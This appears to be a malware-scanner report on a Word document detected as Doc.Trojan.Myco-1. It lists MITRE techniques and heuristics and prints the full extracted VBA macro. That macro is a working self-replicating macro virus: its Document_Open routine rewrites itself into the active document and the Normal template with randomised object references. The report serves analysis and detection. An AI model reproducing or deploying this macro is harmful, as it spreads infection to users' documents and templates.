MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code when a document is opened. The macro code appears to be designed to obfuscate and potentially rewrite parts of itself, suggesting an attempt to evade detection or prepare for further malicious actions. The ClamAV detection of 'Doc.Trojan.Myco-1' strongly indicates malicious intent.
Heuristics 3
-
ClamAV: Doc.Trojan.Myco-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Myco-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2153 bytes |
SHA-256: acffe9974ae5a1d67b9ed4110a030b48e8000bf68c79ad6f0b714abb899dfe9c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim A(1 To 3) As String
Dim B(1 To 3) As String
Dim C(1 To 3) As String
A(1) = "Word.ActiveDocument"
A(2) = "Application.ActiveDocument"
A(3) = "Word.Application.ActiveDocument"
B(1) = "Word.NormalTemplate"
B(2) = "Application.NormalTemplate"
B(3) = "Word.Application.NormalTemplate"
C(1) = ".VBProject.VBComponents(1)"
C(2) = ".VBProject.VBComponents.Item(1)"
C(3) = ".VBProject.VBComponents.Item(""ThisDocument"")"
Host = "MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 18) & vbCrLf & Host & vbCrLf & ActiveCode1 & vbCrLf & ActiveCode2 & vbCrLf & NormalCode1 & vbCrLf & NormalCode2 & vbCrLf & ""End Sub"""
ActiveCode1 = A(Int((Rnd * 2) + 1)) & C(Int((Rnd * 2) + 1)) & ".CodeModule.DeleteLines 1, " & A(Int((Rnd * 2) + 1)) & C(Int((Rnd * 2) + 1)) & ".CodeModule.CountOfLines"
ActiveCode2 = A(Int((Rnd * 2) + 1)) & C(Int((Rnd * 2) + 1)) & ".CodeModule.AddFromString MyCode"
NormalCode1 = B(Int((Rnd * 2) + 1)) & C(Int((Rnd * 2) + 1)) & ".CodeModule.DeleteLines 1, " & B(Int((Rnd * 2) + 1)) & C(Int((Rnd * 2) + 1)) & ".CodeModule.CountOfLines"
NormalCode2 = B(Int((Rnd * 2) + 1)) & C(Int((Rnd * 2) + 1)) & ".CodeModule.AddFromString MyCode"
MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 18) & vbCrLf & Host & vbCrLf & ActiveCode1 & vbCrLf & ActiveCode2 & vbCrLf & NormalCode1 & vbCrLf & NormalCode2 & vbCrLf & "End Sub"
Word.ActiveDocument.VBProject.VBComponents(1).CodeModule.DeleteLines 1, Application.ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
Word.ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString MyCode
Application.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Application.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
Application.NormalTemplate.VBProject.VBComponents(1).CodeModule.AddFromString MyCode
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.